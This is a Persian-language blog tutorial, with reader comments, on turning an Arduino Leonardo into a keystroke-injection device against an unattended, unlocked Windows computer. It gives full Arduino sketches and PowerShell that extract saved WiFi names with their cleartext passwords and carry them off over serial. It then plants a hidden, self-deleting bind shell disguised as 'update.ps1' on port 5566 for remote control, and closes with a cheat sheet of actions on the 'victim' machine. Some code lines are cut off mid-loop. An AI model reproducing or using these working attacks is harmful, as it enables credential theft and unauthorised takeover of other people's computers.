در این راهنما میخوایم نحوه هک سیستم کامپیوتری ویندوزی که باز گداشته شده است را با استفاده از اردوینو را بررسی کنیم و اطلاعات مورد نیازمان را استخراج کنیم تا بعدا از آنها بتوانیم استفاده کنیم.
معرفی آردوینو
آردوینو یک کیت میکروکنترلری به همراه میکروکنترلر (معمولا سری avr) است که به شما امکان می دهد دستگاه های سخت افزاری را با استفاده از زبان برنامه نویسی C کنترل کنید. انواع مختلفی از آردوینو وجود دارد که هر کدام ویژگی های منحصر به فرد خود را دارند. به عنوان مثال، آردوینو یونو به دلیل قیمت پایین و مجموعه ای از عملکردهای اولیه، یکی از محبوب ترین بردهای آردوینو محسوب می شود.
این مقاله بر روی Arduino Leonardo تمرکز دارد، یک برد میکروکنترلر مبتنی بر ATmega32u4، با یک ارتباط USB داخلی. این ویژگی این برد را قادر می سازد تا خود را به عنوان یک کیبورد یا ماوس متصل به رایانه شبیه سازی کند . آردوینوهای دیگر مانند Nano و Uno قادر به فریب دادن کامپیوتر نیستند.

برای این نسخه ی نمایشی، من دو دکمه با عملکردهای خاص تنظیم کردم. دکمه سمت چپ اتصال کیبورد به کامپیوتر را شبیه سازی میکند و همزمان با فشردن این کلید با سرعت باورنکردنی، داده ها را دریافت می کند. دکمه سمت راست داده های گرفته شده از کامپیوتر هدف را روی رایانه ی خودمان جهت استفاده تخلیه می کند.
نمونه کد نوشته شده برای ایجاد عملکرد کلیدها

حمله 1: سرقت رمز وای فای
هر زمان که رایانه ای به یک اتصال WiFi متصل می شود، رمز عبور WiFi در سیستم ذخیره می شود. این خبر خوبی است زیرا میتوانم از محیط فرمان PowerShell برای به دست آوردن فهرستی از شناسههای مجموعه خدمات WiFi (SSID) با رمز عبور استفاده کنم.
#include
#include
char stringArray[500] = {""};
boolean extracted = false, dispatched = false;
int extractButton = 2, dispatchButton = 3;
void setup() { Serial.begin(9600);
pinMode(extractButton, INPUT);
pinMode(dispatchButton, INPUT);
Keyboard.begin();
}
void loop() {
if(digitalRead(extractButton) == HIGH && !extracted) {
extractingData();
extracted = true;
}
if(digitalRead(dispatchButton) == HIGH && !dispatched) {
dispatchingData();
dispatched = true;
} if(digitalRead(extractButton) == LOW)
extracted = false;
if(digitalRead(dispatchButton) == LOW)
dispatched = false;
}
void extractingData() {
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(20);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.print("Powershell");
delay(500);
Keyboard.press(KEY_RETURN);
delay(200);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String -OutVariable dataCaptured");
delay(500);
Keyboard.println("$comPort = ((Get-WmiObject -query \"SELECT * FROM Win32_PnPEntity\" | Where {$_.Name -Match \"COM\\d+\"}).name).Split(\"COM\")");
delay(200);
Keyboard.println("$comPort = [int]$comPort[$comPort.length - 1].replace(\")\", \"\")");
delay(200);
Keyboard.print("$serialObject = new-Object System.IO.Ports.SerialPort COM");
Keyboard.print("$comPort");
Keyboard.println(", 9600, None, 8, one");
delay(200);
Keyboard.println("$serialObject.Open()");
delay(200);
Keyboard.println("$serialObject.Write(\"$dataCaptured\")");
delay(200);
Keyboard.println("$serialObject.close()");
delay(200);
Keyboard.println("exit");
delay(200);
for(int i=0; i
خلاصه عملکرد
- ابتدا آردوینو لئوناردو را از طریق پورت USB به کامپیوتر هدف وصل می کنم. دو دکمه قبلی را به خاطر دارید؟ هنگامی که دکمه سمت چپ فعال می شود، برنامه ترمینال PowerShell را راه اندازی می کند و شروع به وارد کردن دستورات می کند.
- سپس این برنامه SSIDهای وای فای را به همراه رمزهای عبور آن استخراج می کند و آن را در حافظه فقط خواندنی قابل برنامه ریزی (EEPROM) Arduino ذخیره می کند. از آنجایی که این یک دستگاه فلش مموری غیرفرار است، اطلاعات ذخیره شده حتی زمانی که ولتاژ آن قطع شود، حفظ می شود.
- پس از اینکه آردوینو عملکردهای خود را اجرا کرد، آن را از رایانه هدف جدا می کنم و آن را به رایانه خودم وصل می کنم. این بار، دکمه سمت راست را فعال می کنم که باعث می شود آردوینو داده های ذخیره شده در EEPROM را در رایانه من تخلیه کند.
فرمان نمایش SSID WiFi

(netsh wlan show profiles) |
Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} |
%{(netsh wlan show profile name="$name" key=clear)} |
Select-String "Key Content\W+\:(.+)$" |
%{$pass=$_.Matches.Groups[1].Value.Trim(); $_} |
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} |
Format-Table –AutoSize |
Out-String -OutVariable dataCaptured
این ترسناک است!
در حالی که می توانیم این کار را به صورت دستی انجام دهیم، چرا از آردوینو استفاده نکنیم؟
فرمان نمایش WiFi SSID طولانی است و درک آن دشوار است. در قسمت بعدی این مقاله، دستور را به چند بخش قابل هضم تقسیم میکنم تا درک عملکرد کد آسانتر شود.
نحوه عملکرد کد فرمان
قسمت اول
این بخش از دستور SSID کش شده را نمایش می دهد و رشته را با “\:(.+$” به عنوان یک عبارت منظم فیلتر می کند.
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim();

لیست SSID های کش شده
قسمت دوم
%{(netsh wlan show profile name="$name" key=clear)}
من دوباره تابع netsh wlan فراخوانی میکنم تا اطلاعات بیشتری در مورد SSID به دست بیاورم.

قسمت سوم
در اینجا، من محتوای کلیدی (رمز عبور) را استخراج می کنم و آن را به یک متغیر $pass اختصاص می دهم.
Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_}
قسمت چهارم
در نهایت، من یک شی PS با ویژگی های نام پروفایل و رمز عبور ایجاد می کنم که در قالب جدول نمایش داده می شود و در $dataCaptured می نویسم.
%{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table –AutoSize | Out-String -OutVariable dataCapturedPoetry' );
ذخیره داده ها در EEPROM
برای نوشتن دادهها در آردوینو، دو دستگاه – کامپیوتر و آردوینو – باید با استفاده از ارتباط سریال تبادل اطلاعات داشته باشند. ارتباط سریال فرآیند انتقال داده ها یک بیت در یک زمان، از طریق یک کانال ارتباطی یا USB است. هر پورت با COM1، COM2، COM3، COM4 و غیره مشخص می شود. هر COM نشان دهنده یک آدرس ورودی/خروجی (I/O) و یک درخواست وقفه (IRQ) است. آدرس ورودی/خروجی داده ها را به و از یک دستگاه جانبی مانند ماوس یا صفحه کلید منتقل می کند و دریافت می کند. سرعت ارتباط سریال یا نرخ باود بر حسب بیت در ثانیه اندازه گیری می شود. در این دمو از 9600 بیت در ثانیه استفاده کردم.
# Search for available COM port
$comPort = ((Get-WmiObject -query "SELECT * FROM Win32_PnPEntity" | Where {$_.Name -Match "COM\d+"}).name).Split("COM");
$comPort = [int]$comPort[$comPort.length - 1].replace(")", "");
# Connect to COM port and begin writing data
$serialObject = new-Object System.IO.Ports.SerialPort COM$comPort , 9600, None, 8, one;
$serialObject.Open();
$serialObject.Write("$dataCaptured");
پس از انتقال داده ها، من آردوینو را از رایانه هدف جدا می کنم و آن را به رایانه خود وصل می کنم. سپس دکمه سمت راست را برای شروع فرآیند ارسال فعال می کنم، جایی که داده های گرفته شده به نوت پد من منتقل می شود.

حمله 2: کنترل سیستم
در این مرحله، باید فکر کنید: چرا وقتی میتوانیم اطلاعات بیشتری به دست آوریم، چرا فقط به برداشتن SSID و رمز عبور WiFi هدف خود بسنده کنیم؟
#include
#include
char stringArray[50] = {""};
boolean extracted = false, dispatched = false;
int extractButton = 2, dispatchButton = 3;
void setup() {
Serial.begin(9600);
pinMode(extractButton, INPUT);
pinMode(dispatchButton, INPUT);
Keyboard.begin();
}
void loop() {
if(digitalRead(extractButton) == HIGH && !extracted) {
shell();
extracted = true;
}
if(digitalRead(dispatchButton) == HIGH && !dispatched) {
ipaddr();
dispatched = true;
}
if(digitalRead(extractButton) == LOW)
extracted = false;
if(digitalRead(dispatchButton) == LOW)
dispatched = false;
}
void shell() {
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
delay(20);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.print("cmd");
delay(500);
Keyboard.press(KEY_RETURN);
delay(200);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("set updateSource=\"function windowsUpdate{$stream=$client.GetStream();[byte[]]$bytes=0..65535^|^%{0};$sendbytes=([text.encoding]::ASCII).GetBytes('Running as user '+$env:username+' on '+$env:computername+'.');$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes=([text.encoding]::ASCII).GetBytes('PS '+(Get-Location).Path+'^>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$EncodedText=New-Object -TypeName System.Text.ASCIIEncoding;$data=$EncodedText.GetString($bytes,0,$i);try{$sendback=(IEX -Command $data 2^>^&1 ^| Out-String );}catch{}$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '^> ';$x = ($error[0] ^|Out^-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();if($listener){$listener.Stop();}}$listener=[System.Net.Sockets.TcpListener]5566;$listener.start();rm update.ps1;$client=$listener.AcceptTcpClient();windowsUpdate\"");
delay(500);
Keyboard.println("echo %updateSource:~1,1014%>update.ps1");
delay(200);
Keyboard.println("powershell -ep bypass -windowstyle hidden -file update.ps1");
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(20);
Keyboard.release(KEY_LEFT_GUI);
delay(500);
Keyboard.print("Powershell");
delay(500);
Keyboard.press(KEY_RETURN);
delay(200);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("Get-NetIPAddress -AddressFamily IPv4 -suffixorigin dhcp|select ipaddress|Out-String -OutVariable d");
delay(200);
Keyboard.println("$c=((Get-WmiObject -query \"SELECT * FROM Win32_PnPEntity\"|Where{$_.Name -Match \"COM\\d+\"}).name).Split(\"COM\")");
delay(200);
Keyboard.println("$c=[int]$c[$c.length-1].replace(\")\",\"\")");
delay(200);
Keyboard.print("$s=new-Object System.IO.Ports.SerialPort COM");
Keyboard.print("$c");
Keyboard.println(",9600,None,8,one");
delay(200);
Keyboard.println("$s.Open()");
delay(200);
Keyboard.println("$s.Write(\"$d\")");
delay(200);
Keyboard.println("$s.close()");
delay(200);
Keyboard.println("exit");
delay(200);
for(int i=0; i
کد بالا ممکن است پیچیده به نظر برسد، بنابراین اجازه دهید آن را به مراحل کوچکتر تقسیم کنیم:
- پس از اتصال آردوینو به کامپیوتر هدف، دکمه سمت چپ را فعال می کنم.
برنامه cmd را راه اندازی می کند، جایی که یک متغیر خط فرمان به نام updateSource ایجاد می کند که کد PowerShell را ذخیره می کند.
پس از آن، برنامه یک اسکریپت PowerShell update.ps1 ایجاد می کند که مقدار updateSource در آن نوشته شده است.
در نهایت، برنامه کد خط فرمان powershell -ep bypass -windowstyle hidden -file update.ps1 را اجرا می کند. این تضمین می کند که برنامه update.ps1 در پس زمینه اجرا می شود.
قبل از پایان اکسپلویت، برنامه یک بار دیگر PowerShell را راه اندازی می کند و آدرس IP هدف در EEPROM نوشته می شود. این شبیه به ارسال رمز عبور WiFi است که قبلا توضیح داده شد.
من آردوینو را از کامپیوتر هدف جدا کردم و به کامپیوتر خودم وصل کردم. این بار، دکمه سمت راست را برای باز کردن آدرس IP هدف فعال می کنم.
من حمله را با انجام یک اتصال netcat برای ایجاد bind shell به پایان میبرم.
#Function for shell
function windowsUpdate {
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | %{0};
$sendbytes = ([text.encoding]::ASCII).GetBytes('Running as user '+$env:username+' on '+$env:computername+'.'); $stream.Write($sendbytes, 0, $sendbytes.Length);
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>'); $stream.Write($sendbytes, 0, $sendbytes.Length); while (($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0) {
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;
$data = $EncodedText.GetString($bytes,0,$i);
try {
#Receive command from the attacker
$sendback=(IEX -Command $data 2 >&1 | Out-String );
}
catch {}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ';
$x = ($error[0] | Out-String);
$error.clear();
$sendback2 = $sendback2 + $x;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
} $client.Close();
if ($listener) {
$listener.Stop();
}
}
#Listening for connection
$listener = [System.Net.Sockets.TcpListener] 5566;
$listener.start();
#Remove update.ps1 here!
rm update.ps1;
$client = $listener.AcceptTcpClient();
#Invoke function
windowsUpdate;
به طور خلاصه، این برنامه تابعی ایجاد کرده است که یک bind shell را در پورت 5566 ایجاد می کند که برای هر کسی که به آن متصل می شود در دسترس است. این برنامه همچنین فایل update.ps1 را در حالی که منتظر اتصال ورودی است حذف می کند. در این مرحله، من به تابع bind shell متصل می شوم و شروع به کنترل کامپیوتر هدف می کنم.
ویدیو نحوه کار
قسمت اول ویدیو تزریق کد shell به هدف و استخراج آدرس IP و قسمت دوم ویدیو ارسال آدرس IP و کنترل کامپیوتر هدف
کارهای مختلفی میتوانید با کامپیوتر قربانی انجام دهید زمانی که کنترل آن در دست شماست. لیست زیر یگ برگه تقلب برای نمونه کارهایی که میتوانید انجام دهید اورده شده است.
# Send keystroke to the victim's computer
$wshell = New-Object -ComObject wscript.shell;
$wshell.sendKeys(" ");
$wshell.sendKeys("Hahaha");
# Write to file
echo You have been hacked! > hacked.txt
# Open file with notepad
notepad hacked.txt
# Close browser
taskkill /IM firefox.exe /F
taskkill /IM chrome.exe /F
# Open tab with URL for firefox
cd "C:\Program Files\Mozilla Firefox"
firefox.exe https://www.google.com/
# Open tab with URL for chrome
cd "Path\To\Chrome"
chrome.exe https://www.google.com/
اقا بی نهایت از سپاس گزارم یعنی واقعا مرسی خیلی مقالت عالی بود البته نیت بد ندارم ولی خیلی چیزا یاد گرفتم دمت گرم
با سلام ممنون از نظر و نگاه مثبت تان
هدف از ایجاد این پست نیز همین جنبه آموزشی بود و با این روش پروژه ها و ایده های زیادی میتوان انجام داد.
سلام و تشکر. سوالی داشتم لطفا در صورت اطلاع داشتن پاسخ دهید. متشکر.. ایا می شود از راه دور و با داشتن شماره تلفن شخصی سیمکارت او را هک کرد و به مکالمات و پیام هایش دسترسی داشت؟ البته منظورم فقط با داشتن شماره تلفن است؟ اگر امکان دارد راهی برای جلوگیری از هک سیمکارت وجود دارد.. با تشکر فراوان